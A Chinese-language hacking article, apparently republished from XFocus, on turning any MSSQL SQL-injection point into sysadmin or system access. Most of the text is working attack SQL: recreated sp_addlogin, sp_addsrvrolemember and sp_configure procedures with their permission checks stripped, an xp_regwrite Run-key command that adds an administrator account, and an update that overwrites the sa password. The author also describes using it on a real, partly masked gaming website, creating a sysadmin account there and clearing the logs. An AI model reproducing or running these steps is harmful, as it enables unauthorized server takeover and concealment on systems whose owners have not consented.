科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网安全频道sql injection终极利用方法

sql injection终极利用方法

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

因为发觉其危害过大,原文已经经过大量删减及修改,即使这样本文的危害性仍然很大,所以请大家不要对国内的站点做任何具有破坏性的操作。

作者:XFocus 来源:XFocus 2008年10月17日

关键字: SQL Web安全

  • 评论
  • 分享微博
  • 分享邮件

  ————只要给我一个注射点,无论什么权限,我都给你一个webshell甚至系统权限

  声明:本文仅用于教学目的,如果因为本文造成的攻击后果本人概不负责。因为发觉其危害过大,原文已经经过大量删减及修改,即使这样本文的危害性仍然很大,所以请大家不要对国内的站点做任何具有破坏性的操作。考虑再三,偶还是决定发出来。此招手段歹毒,利用范围广泛,可以说是只要是有sql注射漏洞的网站,只要运用此法99%可以拿到webshell甚至系统权限(不敢把话说满,呵呵,经本人数百次真实“实战演习”,基本上是100%可以拿到webshell甚至系统权限)。

  记得我在《MSSQL db_owner角色注入直接获得系统权限(续)》中写过一种利用xp_regwrite来取得系统权限的方法:xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentvers ion\run','xwq1','REG_SZ','net user xwq xwq /add'

  xp_regwrite HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentvers ion\run','xwq2','REG_SZ','net localgroup administrators xwq /add',只要让网站所在的服务器重起,就能得到系统权限。经过本人的数百次的真实实验,这种方法不太实用,很容易引起网管的注意,再说ddos也是违法的事(偶可是好人啊),发动一场ddos要花费的大量的人力,物力(看你的肉鸡多少拉)。所以不太可行(除非是你十分想要搞定的网站)。

  呵呵,哆嗦拉那么多,你可能看的已经不耐烦拉,好,这就介绍我的三大必杀技之一————万能提权。

  假如一个网站存在sql注射漏洞,如果这个网站是用固定服务器sysadmin权限的用户作的连接(呵呵,通俗点说就是sa,菜鸟可以这样认为),呵呵,想要拿到一个webshell或者是系统权限可以说是易如反掌,轻而易举的事,据我所知,sysadmin权限要拿到webshell或者系统权限不下10种,呵呵,可能更多吧(偶只会10种),sysadmin怎么拿到webshell或者系统权限,我不想多说,想比大家都已经烂熟于心拉,可是要是一个网站是db_owner权限呢?你怎么办,你怎么拿系统权限,怎么拿webshell(没有上传漏洞和数据库备份等功能),大家可能回说backup a shell,我记得LCX也在《MSSQL db_owner角色注入直接获得系统权限》里说过拉“备份得到的shell只是理论化的东东,如果一个webshell有20mb的话,你还能用它吗?”呵呵,要是我告诉你db_owner拿到一个webshell或者是系统权限的方法和sysadmin权限的一样多,你回有什么反映,是不是觉得有点不可思议,或者又是我胡说呢?(不相信的朋友,下面的内容就不要看拉)

  呵呵,是不是看的心痒痒拉,迫不及待的想知道啊,好,我不在废话拉,这就把我的三大必杀技之一————万能提升权限方法告诉大家。

  在告诉大家之前,我们先做个实验.实验环境windowsxp sp1+SQL 2000 sp3,大家跟着我来step to step,首先新建一个具有db_owner的权限的用户,这里我是xwq(就是在服务器角色里面什么都不要选,在数据库角色里面钩上db_owner),好,现在我们打开查询分析器用xwq连上后再里面输入sp_addlogin xuwenqiang,执行看看,出现拉什么?

  服务器: 消息 2571,级别 14,状态 2,过程 sp_addlogin,行 16

  用户 'xwq' 没有运行 DBCC auditevent 的权限。

  服务器: 消息 15247,级别 16,状态 1,过程 sp_addlogin,行 17

  用户没有执行此操作的权限。

  呵呵,出现上面的错误信息这很正常,因为只有sysadmin 和 securityadmin 固定服务器角色的成员才可以执行 sp_addlogin,那么怎么才好让sp_addlogin为我所用呢?我们在这里看一下sp_addlogin的代码:

  create procedure sp_addlogin

  @loginame sysname

  ,@passwd sysname = Null

  ,@defdb ;;sysname = 'master' -- UNDONE: DEFAULT

  CONFIGURABLE???

  ,@deflanguage sysname = Null

  ,@sid varbinary(16) = Null

  ,@encryptopt varchar(20) = Null

  AS

  -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --

  set nocount on

  Declare @ret int -- return value of sp call

  -- CHECK PERMISSIONS --

  IF (not is_srvrolemember('securityadmin') = 1)

  begin

  dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)

  raiserror(15247,-1,-1)

  return (1)

  end

  ELSE

  begin

  dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)

  end

  -- DISALLOW USER TRANSACTION --

  set implicit_transactions off

  IF (@@trancount >0)

  begin

  raiserror(15002,-1,-1,'sp_addlogin')

  return (1)

  end

  -- VALIDATE LOGIN NAME AS:

  -- (1) Valid SQL Name (SQL LOGIN)

  -- (2) No backslash (NT users only)

  -- (3) Not a reserved login name

  execute @ret = sp_validname @loginame

  if (@ret <>0)

  return (1)

  if (charindex('\', @loginame) >0)

  begin

  raiserror(15006,-1,-1,@loginame)

  return (1)

  end

  --Note: different case sa is allowed.

  if (@loginame = 'sa' or lower(@loginame) in ('public'))

  begin

  raiserror(15405, -1 ,-1, @loginame)

  return (1)

  end

  -- LOGIN NAME MUST NOT ALREADY EXIST --

  if exists(select * from master.dbo.syslogins where loginname =

  @loginame)

  begin

  raiserror(15025,-1,-1,@loginame)

  return (1)

  end

  -- VALIDATE DEFAULT DATABASE --

  IF db_id(@defdb) IS NULL

  begin

  raiserror(15010,-1,-1,@defdb)

  return (1)

  end

  -- VALIDATE DEFAULT LANGUAGE --

  IF (@deflanguage IS NOT Null)

  begin

  Execute @ret = sp_validlang @deflanguage

  IF (@ret <>0)

  return (1)

  end

  ELSE

  begin

  select @deflanguage = name from master.dbo.syslanguages

  where langid = @@default_langid --server default

  language

  if @deflanguage is null

  select @deflanguage = N'us_english'

  end

  -- VALIDATE SID IF GIVEN --

  if ((@sid IS NOT Null) and (datalength(@sid) <>16))

  begin

  raiserror(15419,-1,-1)

  return (1)

  end

  else if @sid is null

  select @sid = newid()

  if (suser_sname(@sid) IS NOT Null)

  begin

  raiserror(15433,-1,-1)

  return (1)

  end

  -- VALIDATE AND USE ENCRYPTION OPTION --

  declare @xstatus smallint

  select @xstatus = 2 -- access

  if @encryptopt is null

  select @passwd = pwdencrypt(@passwd)

  else if @encryptopt = 'skip_encryption_old'

  begin

  select @xstatus = @xstatus | 0x800, -- old-style

  encryption

  @passwd = convert(sysname, convert(varbinary

  (30), convert(varchar(30), @passwd)))

  end

  else if @encryptopt <>'skip_encryption'

  begin

  raiserror(15600,-1,-1,'sp_addlogin')

  return 1

  end

  -- ATTEMPT THE INSERT OF THE NEW LOGIN --

  INSERT INTO master.dbo.sysxlogins VALUES

  (NULL, @sid, @xstatus, getdate(),

  getdate(), @loginame, convert(varbinary(256), @passwd),

  db_id(@defdb), @deflanguage)

  if @@error <>0 -- this indicates we saw duplicate row

  return (1)

  -- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

  SYSLOGINS CHANGE --

  exec('use master grant all to null')

  -- FINALIZATION: RETURN SUCCESS/FAILURE --

  raiserror(15298,-1,-1)

  return (0) -- sp_addlogin

  GO

  之所以只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行 sp_addlogin,主要是这里一段再搞鬼

  -- CHECK PERMISSIONS --

  IF (not is_srvrolemember('securityadmin') = 1)

  begin

  dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)

  raiserror(15247,-1,-1)

  return (1)

  end

  ELSE

  begin

  dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)

  end

  只要我们把这段代码删拉,任何权限的用户都可以增加用户拉。

  好,我们先把sp_addlogin删拉

  drop procedure sp_addlogin

  然后再来恢复sp_addlogin

  create procedure sp_addlogin

  @loginame sysname

  ,@passwd sysname = Null

  ,@defdb ;;sysname = 'master' -- UNDONE: DEFAULT

  CONFIGURABLE???

  ,@deflanguage sysname = Null

  ,@sid varbinary(16) = Null

  ,@encryptopt varchar(20) = Null

  AS

  -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --

  set nocount on

  Declare @ret int -- return value of sp call

  -- DISALLOW USER TRANSACTION --

  set implicit_transactions off

  IF (@@trancount >0)

  begin

  raiserror(15002,-1,-1,'sp_addlogin')

  return (1)

  end

  -- VALIDATE LOGIN NAME AS:

  -- (1) Valid SQL Name (SQL LOGIN)

  -- (2) No backslash (NT users only)

  -- (3) Not a reserved login name

  execute @ret = sp_validname @loginame

  if (@ret <>0)

  return (1)

  if (charindex('\', @loginame) >0)

  begin

  raiserror(15006,-1,-1,@loginame)

  return (1)

  end

  --Note: different case sa is allowed.

  if (@loginame = 'sa' or lower(@loginame) in ('public'))

  begin

  raiserror(15405, -1 ,-1, @loginame)

  return (1)

  end

  -- LOGIN NAME MUST NOT ALREADY EXIST --

  if exists(select * from master.dbo.syslogins where loginname =

  @loginame)

  begin

  raiserror(15025,-1,-1,@loginame)

  return (1)

  end

  -- VALIDATE DEFAULT DATABASE --

  IF db_id(@defdb) IS NULL

  begin

  raiserror(15010,-1,-1,@defdb)

  return (1)

  end

  -- VALIDATE DEFAULT LANGUAGE --

  IF (@deflanguage IS NOT Null)

  begin

  Execute @ret = sp_validlang @deflanguage

  IF (@ret <>0)

  return (1)

  end

  ELSE

  begin

  select @deflanguage = name from master.dbo.syslanguages

  where langid = @@default_langid --server default

  language

  if @deflanguage is null

  select @deflanguage = N'us_english'

  end

  -- VALIDATE SID IF GIVEN --

  if ((@sid IS NOT Null) and (datalength(@sid) <>16))

  begin

  raiserror(15419,-1,-1)

  return (1)

  end

  else if @sid is null

  select @sid = newid()

  if (suser_sname(@sid) IS NOT Null)

  begin

  raiserror(15433,-1,-1)

  return (1)

  end

  -- VALIDATE AND USE ENCRYPTION OPTION --

  declare @xstatus smallint

  select @xstatus = 2 -- access

  if @encryptopt is null

  select @passwd = pwdencrypt(@passwd)

  else if @encryptopt = 'skip_encryption_old'

  begin

  select @xstatus = @xstatus | 0x800, -- old-style

  encryption

  @passwd = convert(sysname, convert(varbinary

  (30), convert(varchar(30), @passwd)))

  end

  else if @encryptopt <>'skip_encryption'

  begin

  raiserror(15600,-1,-1,'sp_addlogin')

  return 1

  end

  -- ATTEMPT THE INSERT OF THE NEW LOGIN --

  INSERT INTO master.dbo.sysxlogins VALUES

  (NULL, @sid, @xstatus, getdate(),

  getdate(), @loginame, convert(varbinary(256), @passwd),

  db_id(@defdb), @deflanguage)

  if @@error <>0 -- this indicates we saw duplicate row

  return (1)

  -- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

  SYSLOGINS CHANGE --

  exec('use master grant all to null')

  -- FINALIZATION: RETURN SUCCESS/FAILURE --

  raiserror(15298,-1,-1)

  return (0) -- sp_addlogin

  GO

  这样我这个只具有db_owner权限的xwq就可以任意增加用户拉,ok,在查询分析器里面在输入sp_addlogin xuwenqiang,执行看看,GOOD!返回已创建新登录。我新建拉一个用户xuwenqiang,当然这个用户我可不是白建的,我要把他变成具有最高权限的用户,在sql中具有最高权限的当然是sysadmin拉,而把一个用户变成sysadmin只有sp_addsrvrolemember这个存储过程拉,可是只有sysadmin权限的用户才好使用,不爽,偶要让他为我所用,呵呵,聪明的读者一定想到拉我怎么让只具有db_owner权限的我,怎么使用sp_addsrvrolemember拉,没错,和让sp_addlogin为我所用的方法一样,只要去掉sp_addsrvrolemember中权限限制的一段,我们就可以任意增加sysadmin拉,我们先看看sp_addsrvrolemember的代码

  :create procedure sp_addsrvrolemember

  @loginame sysname, -- login name

  @rolename sysname = NULL -- server role name

  as

  -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --

  set nocount on

  declare @ret int, -- return value of sp call

  @rolebit smallint,

  @ismem int

  -- DISALLOW USER TRANSACTION --

  set implicit_transactions off

  IF (@@trancount >0)

  begin

  raiserror(15002,-1,-1,'sp_addsrvrolemember')

  return (1)

  end

  -- VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS --

  select @ismem = is_srvrolemember(@rolename)

  if @ismem is null

  begin

  dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,

  NULL)

  raiserror(15402, -1, -1, @rolename)

  return (1)

  end

  if @ismem = 0

  begin

  dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,

  NULL)

  raiserror(15247,-1,-1)

  return (1)

  end

  -- AUDIT A SUCCESSFUL SECURITY CHECK --

  dbcc auditevent (108, 1, 1, @loginame, NULL, @rolename, NULL)

  -- CANNOT CHANGE SA ROLES --

  if @loginame = 'sa'

  begin

  raiserror(15405, -1 ,-1, @loginame)

  return (1)

  end

  -- OBTAIN THE BIT FOR THIS ROLE --

  select @rolebit = CASE @rolename

  WHEN 'sysadmin' THEN 16

  WHEN 'securityadmin' THEN 32

  WHEN 'serveradmin' THEN 64

  WHEN 'setupadmin' THEN 128

  WHEN 'processadmin' THEN 256

  WHEN 'diskadmin' THEN 512

  WHEN 'dbcreator' THEN 1024

  WHEN 'bulkadmin' THEN 4096

  ELSE NULL END

  -- ADD ROW FOR NT LOGIN IF NEEDED --

  if not exists(select * from master.dbo.syslogins where

  loginname = @loginame)

  begin

  execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame

  if (@ret <>0)

  begin

  raiserror(15007,-1,-1,@loginame)

  return (1)

  end

  end

  -- UPDATE ROLE MEMBERSHIP --

  update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,

  xdate2 = getdate()

  where name = @loginame and srvid IS NULL

  -- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

  SYSLOGINS CHANGE --

  exec('use master grant all to null')

  raiserror(15488,-1,-1,@loginame,@rolename)

  -- FINALIZATION: RETURN SUCCESS/FAILURE

  return (@@error) -- sp_addsrvrolemember

  GO

  把这一段删除 -- VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS --

  select @ismem = is_srvrolemember(@rolename)

  if @ismem is null

  begin

  dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,

  NULL)

  raiserror(15402, -1, -1, @rolename)

  return (1)

  end

  if @ismem = 0

  begin

  dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,

  NULL)

  raiserror(15247,-1,-1)

  return (1)

  end

  这样我们就可以任意增加sysadmin拉,呵呵,爽啊。在查询分析器里输入sp_addsrvrolemember xuwenqiang,sysadmin,Yeah!!!!!!!成功拉。到这里我们就成功利用拉一个只具有db_owner权限的用户新建拉一个在SQL中具有至高无上权限,也就是具有sysadmin权限的用户xuwenqiang,有拉sysadmin权限想要webshell或者系统权限还不容易么!不要只把眼睛只放在我所说的sp_addlogin和sp_addsrvrolemember这两个存储过程上,凡是只有sysadmin才好使用的存储过程,利用我的万能提权必杀技,我们都可以使用。比如:sp-configure,sp_addlinkedserver,sp_addlinkedsrvlogin,sp_makewebtask等等很多只好sysadmin权限能利用的,我们都可以让他们为我所用。

  下面再举一个万能提权的例子,和我一起打造一个永远不会被杀及完美的后门我们都知道在sql中有个被黑客称为后门的用户,那就是sa,sa 是内置的管理员登录,而且不能进行更改和删除。呵呵,这是M$说的,要是你看过我写的另外一篇文章《完全删除sa这个后门》就知道,其实sa也是好删除的。我们知道在sql可以改密码的存储过程有sp_password,可是我们必须知道要改的用户的旧密码,才可以更改,那么有没有办法再不知道旧密码的情况下更改sa的密码呢?有,其实也就是利用sp_configure,sp_configure的功能是显示或更改当前服务器的全局配置设置。sp_configure(用于更改配置选项)的执行许可权限默认授予 sysadmin和 serveradmin 固定服务器角色。这很容易只要把sp_configure中检查权限的一段删除,再重建,我们就好用拉。

  CREATE PROCEDURE sp_configure --- 1996/08/14 09:43

  @configname varchar(35) = NULL -- option name to configure

  ,@configvalue int = NULL -- new configuration value

  as

  set nocount on

  declare

  @confignum int --Num of the opt to be configured

  ,@configcount int --Num of options like @configname

  ,@show_advance int --Y/N Read&Write actions on

  "advanced" opts

  declare @fullconfigname varchar (35)

  declare @prevvalue int

  /*

  ** Determine @maxnumber based on advance option in syscurconfigs.

  */

  if (select value from master.dbo.syscurconfigs where config = 518) = 1

  select @show_advance = 1 -- Display advanced options

  else

  select @show_advance = 0 -- Don't display advanced options

  /*

  ** Make certain that max user info. reflects any addpak upgrades.

  */

  if (select high from master.dbo.spt_values where number=103 and

  type='C')

  <>@@max_connections

  update master.dbo.spt_values

  set high = @@max_connections

  where number = 103

  and type='C'

  /*

  ** If no option name is given, the procedure will just print out all

  the

  ** options and their values.

  */

  if @configname is NULL

  begin

  select name, minimum = low, maximum = high,

  config_value = c.value,

  run_value = master.dbo.syscurconfigs.value

  from master.dbo.spt_values, master.dbo.sysconfigures c,

  master.dbo.syscurconfigs

  where type = 'C'

  and number = c.config

  and number = master.dbo.syscurconfigs.config

  and

  ((c.status &2 <>0 and @show_advance = 1)

  OR

  (c.status &2 = 0)

  )

  order by lower(name)

  return (0)

  end

  /*

  ** Use @configname and try to find the right option.

  ** If there isn't just one, print appropriate diagnostics and return.

  */

  select @configcount = count(*), @fullconfigname = min (v.name),

  @prevvalue = min (c.value)

  from master.dbo.spt_values v ,master.dbo.sysconfigures c

  where v.name like '%' + @configname + '%' and v.type = 'C'

  and v.number = c.config

  and

  ((c.status &2 <>0 and @show_advance = 1)

  OR

  (c.status &2 = 0)

  )

  /*

  ** If no option, show the user what the options are.

  */

  if @configcount = 0

  begin

  raiserror (15123,-1,-1,@configname)

  print ' '

  raiserror (15456,-1,-1)

  /*

  ** Show the user what the options are.

  */

  select name, minimum = low, maximum = high,

  config_value = c.value,

  run_value = master.dbo.syscurconfigs.value

  from master.dbo.spt_values, master.dbo.sysconfigures c,

  master.dbo.syscurconfigs

  where type = 'C'

  and number = c.config

  and number = master.dbo.syscurconfigs.config

  and

  ((c.status &2 <>0 and @show_advance = 1)

  OR

  (c.status &2 = 0)

  )

  return (1)

  end

  /*

  ** If more than one option like @configname, show the duplicates and

  return.

  */

  if @configcount >1

  begin

  raiserror (15124,-1,-1,@configname)

  print ' '

  select duplicate_options = name

  from master.dbo.spt_values,master.dbo.sysconfigures c

  where name like '%' + @configname + '%'

  and type = 'C'

  and number = c.config

  and

  ((c.status &2 <>0 and @show_advance = 1)

  OR

  (c.status &2 = 0)

  )

  return (1)

  end

  else

  /* There must be exactly one, so get the full name. */

  select @configname = name --,@value_in_sysconfigures = c.value

  from master.dbo.spt_values,master.dbo.sysconfigures c

  where name like '%' + @configname + '%' and type = 'C'

  and number = c.config

  and

  ((c.status &2 <>0 and @show_advance = 1)

  OR

  (c.status &2 = 0)

  )

  /*

  ** If @configvalue is NULL, just show the current state of the option.

  */

  if @configvalue is null

  begin

  select v.name

  ,v.low as 'minimum'

  ,v.high as 'maximum'

  ,c.value as 'config_value'

  ,u.value as 'run_value'

  from

  master.dbo.spt_values v left outer join

  master.dbo.sysconfigures c on v.number = c.config

  left outer join

  master.dbo.syscurconfigs u on v.number = u.config

  where

  v.type = 'C '

  and v.name like '%' + @configname + '%'

  and

  ((c.status &2 <>0 and @show_advance = 1)

  OR

  (c.status &2 = 0)

  )

  return (0)

  end

  /*

  ** Now get the configuration number.

  */

  select @confignum = number

  from master.dbo.spt_values,master.dbo.sysconfigures c

  where type = 'C'

  and (@configvalue between low and high or @configvalue = 0)

  and name like '%' + @configname + '%'

  and number = c.config

  and

  ((c.status &2 <>0 and @show_advance = 1)

  OR

  (c.status &2 = 0)

  )

  /*

  ** If this is the number of default language, we want to make sure

  ** that the new value is a valid language id in Syslanguages.

  */

  if @confignum = 124

  begin

  if not exists (select * from master.dbo.syslanguages

  where langid = @configvalue)

  begin

  /* 0 is default language, us_english */

  if @configvalue <>0

  begin

  raiserror(15127,-1,-1)

  return (1)

  end

  end

  end

  /*

  ** If this is the number of kernel language, we want to make sure

  ** that the new value is a valid language id in Syslanguages.

  */

  if @confignum = 132

  begin

  if not exists (select * from master.dbo.syslanguages

  where langid = @configvalue)

  begin

  /* 0 is default language, us_english */

  if @configvalue <>0

  begin

  raiserror(15028,-1,-1)

  return (1)

  end

  end

  end

  /*

  ** "user options" should not try to set incompatible options/values.

  */

  if @confignum = 1534 --"user options"

  begin

  if (@configvalue &(1024+2048) = (1024+2048)) --

  ansi_null_default_on/off

  begin

  raiserror(15303,-1,-1,@configvalue)

  return (1)

  end

  end

  /*

  ** Although the @configname is good, @configvalue wasn't in range.

  */

  if @confignum is NULL

  begin

  raiserror(15129,-1,-1,@configvalue,@configname)

  return (1)

  end

  --Msg 15002, but in 6.5 allow this inside a txn (not check @@trancount)

  #12828.

  /*

  ** Now update sysconfigures.

  */

  update master.dbo.sysconfigures set value = @configvalue

  where config = @confignum

  /*

  ** Flush the procedure cache - this is to account for options which

  become

  ** effective immediately (ie. dont need a server restart).

  */

  dbcc freeproccache

  raiserror(15457,-1,-1, @fullconfigname, @prevvalue, @configvalue) with

  log

  return (0) -- sp_configure

  GO

  ok,我们再

  sp_configure 'allow updates',1

  go

  RECONFIGURE WITH OVERRIDE

  go

  好拉这样我们才好更改sa的密码。接着update sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A 1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,这样sa的密码就被我们改成拉111111拉。呵呵,解决的方法就是把sa给删拉。,怎么删可以参考我的《完全删除sa这个后门》。

  实例:

  下面对一个国内非常出名的站点进行善意的攻击测试,来对上面的知识进行一次大概的验证,出于影响等诸多因素,我们称这个站点为www.**173.com。www.**173.com这个站点在游戏上很有名气,排名在前20名(我当时测试的时候),在这里我不想说我怎么找到的注射点,大家还可以找找,还是满多的(整个测试可真花费拉我不少时间,别误会,我不是说时间花在“检测”上,而是都放在写程序里面拉,不写个像样点的程序,怎么让我为所欲为呢?整个攻击只有10分钟不到)。

  在找到的注射点gametype=**(郁闷,要是当时测试的时候有nbsi2,偶可能要轻松不少),先输入drop procedure sp_addlogin,然后在IE里面输入(呵呵,我当然是在我写的程序里面输入拉)

  create procedure sp_addlogin

  @loginame sysname

  ,@passwd sysname = Null

  ,@defdb ;;sysname = 'master' -- UNDONE: DEFAULT

  CONFIGURABLE???

  ,@deflanguage sysname = Null

  ,@sid varbinary(16) = Null

  ,@encryptopt varchar(20) = Null

  AS

  -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --

  set nocount on

  Declare @ret int -- return value of sp call

  -- DISALLOW USER TRANSACTION --

  set implicit_transactions off

  IF (@@trancount >0)

  begin

  raiserror(15002,-1,-1,'sp_addlogin')

  return (1)

  end

  -- VALIDATE LOGIN NAME AS:

  -- (1) Valid SQL Name (SQL LOGIN)

  -- (2) No backslash (NT users only)

  -- (3) Not a reserved login name

  execute @ret = sp_validname @loginame

  if (@ret <>0)

  return (1)

  if (charindex('\', @loginame) >0)

  begin

  raiserror(15006,-1,-1,@loginame)

  return (1)

  end

  --Note: different case sa is allowed.

  if (@loginame = 'sa' or lower(@loginame) in ('public'))

  begin

  raiserror(15405, -1 ,-1, @loginame)

  return (1)

  end

  -- LOGIN NAME MUST NOT ALREADY EXIST --

  if exists(select * from master.dbo.syslogins where loginname =

  @loginame)

  begin

  raiserror(15025,-1,-1,@loginame)

  return (1)

  end

  -- VALIDATE DEFAULT DATABASE --

  IF db_id(@defdb) IS NULL

  begin

  raiserror(15010,-1,-1,@defdb)

  return (1)

  end

  -- VALIDATE DEFAULT LANGUAGE --

  IF (@deflanguage IS NOT Null)

  begin

  Execute @ret = sp_validlang @deflanguage

  IF (@ret <>0)

  return (1)

  end

  ELSE

  begin

  select @deflanguage = name from master.dbo.syslanguages

  where langid = @@default_langid --server default

  language

  if @deflanguage is null

  select @deflanguage = N'us_english'

  end

  -- VALIDATE SID IF GIVEN --

  if ((@sid IS NOT Null) and (datalength(@sid) <>16))

  begin

  raiserror(15419,-1,-1)

  return (1)

  end

  else if @sid is null

  select @sid = newid()

  if (suser_sname(@sid) IS NOT Null)

  begin

  raiserror(15433,-1,-1)

  return (1)

  end

  -- VALIDATE AND USE ENCRYPTION OPTION --

  declare @xstatus smallint

  select @xstatus = 2 -- access

  if @encryptopt is null

  select @passwd = pwdencrypt(@passwd)

  else if @encryptopt = 'skip_encryption_old'

  begin

  select @xstatus = @xstatus | 0x800, -- old-style

  encryption

  @passwd = convert(sysname, convert(varbinary

  (30), convert(varchar(30), @passwd)))

  end

  else if @encryptopt <>'skip_encryption'

  begin

  raiserror(15600,-1,-1,'sp_addlogin')

  return 1

  end

  -- ATTEMPT THE INSERT OF THE NEW LOGIN --

  INSERT INTO master.dbo.sysxlogins VALUES

  (NULL, @sid, @xstatus, getdate(),

  getdate(), @loginame, convert(varbinary(256), @passwd),

  db_id(@defdb), @deflanguage)

  if @@error <>0 -- this indicates we saw duplicate row

  return (1)

  -- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

  SYSLOGINS CHANGE --

  exec('use master grant all to null')

  -- FINALIZATION: RETURN SUCCESS/FAILURE --

  raiserror(15298,-1,-1)

  return (0) -- sp_addlogin

  GO

  OK,我们新建个用户exec master..sp_addlogin xwq

  再drop procedure sp_addsrvrolemember,然后在IE里输入

  create procedure sp_addsrvrolemember

  @loginame sysname, -- login name

  @rolename sysname = NULL -- server role name

  as

  -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --

  set nocount on

  declare @ret int, -- return value of sp call

  @rolebit smallint,

  @ismem int

  -- DISALLOW USER TRANSACTION --

  set implicit_transactions off

  IF (@@trancount >0)

  begin

  raiserror(15002,-1,-1,'sp_addsrvrolemember')

  return (1)

  end

  -- CANNOT CHANGE SA ROLES --

  if @loginame = 'sa'

  begin

  raiserror(15405, -1 ,-1, @loginame)

  return (1)

  end

  -- OBTAIN THE BIT FOR THIS ROLE --

  select @rolebit = CASE @rolename

  WHEN 'sysadmin' THEN 16

  WHEN 'securityadmin' THEN 32

  WHEN 'serveradmin' THEN 64

  WHEN 'setupadmin' THEN 128

  WHEN 'processadmin' THEN 256

  WHEN 'diskadmin' THEN 512

  WHEN 'dbcreator' THEN 1024

  WHEN 'bulkadmin' THEN 4096

  ELSE NULL END

  -- ADD ROW FOR NT LOGIN IF NEEDED --

  if not exists(select * from master.dbo.syslogins where

  loginname = @loginame)

  begin

  execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame

  if (@ret <>0)

  begin

  raiserror(15007,-1,-1,@loginame)

  return (1)

  end

  end

  -- UPDATE ROLE MEMBERSHIP --

  update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,

  xdate2 = getdate()

  where name = @loginame and srvid IS NULL

  -- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

  SYSLOGINS CHANGE --

  exec('use master grant all to null')

  raiserror(15488,-1,-1,@loginame,@rolename)

  -- FINALIZATION: RETURN SUCCESS/FAILURE

  return (@@error) -- sp_addsrvrolemember

  GO

  接着再exec master..sp_addsrvrolemember xwq,sysadmin我们拿sql综合利用工具或者查询分析器连上看看,呵呵,成功拉,这样我们就在www.**17173.com的服务器上建拉一个具有最高权限的用户xwq拉,下面的事我想大家都应该回做拉吧。呵呵,因为只是安全测试,我并没有深入下去,删拉帐号,清除日志,闪人。

  看到拉吧,我的必杀技之一——万能提权的威力拉吧,只要是给我一个注射点,无论什么权限,我都会给你一个webshell甚至系统权限.呵呵,其实说万能的提升权限方法的确是有点夸张拉,因为CREATE PROCEDURE 的权限默认授予 sysadmin 固定服务器角色成员和 db_owner 和 db_ddladmin 固定数据库角色成员,你要是碰到Public的权限,那就不好使用拉。不过不要以为换成public权限,就没有办法拿到webshell或者系统权限拉,恰恰相反,据我所知public权限的用户拿到webshell甚至系统权限的方法至少也有5种。最好的防范方法就是杜绝注射漏洞,这才是治标又治本的解决方法。(呵呵,要是我说,最好连public的权限都不要给,可惜已经没有比public权限更低的角色拉,没办法谁叫public也可以利用很多有危险的存储过程呢,而且public无法除去,看来M$对我们这些“坏人”还是很厚爱的哦)

  后记

  这篇文章是我自2004年4月份装上SQL以来利用课余时间学习研究的,12月初旬写完,由于危害太大,我一直都不太敢发布,相信国内也有人知道的。只是不公开而已。经过再三考虑还是决定发布了,希望大家掌握了以后,不要对国内的站点做任何具有破坏性的操作。

  再这篇文章里我并没有提到public权限的用户怎么拿到webshell或者系统权限,而据我所知public权限的用户拿到webshell甚至系统权限的方法至少5种(偶目前只会5种,可能还有更多的方法,要是哪位高手会更多,希望能不吝赐教,偶先谢拉),鉴于危害实在太太大,现在还不是公布这些关键技术细节的时候,等到拉一个适当的时机,我会把我所掌握的知识无私奉献给大家再重申一次。不要对任何国家的任何合法主机进行破坏,否则后果自负。

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章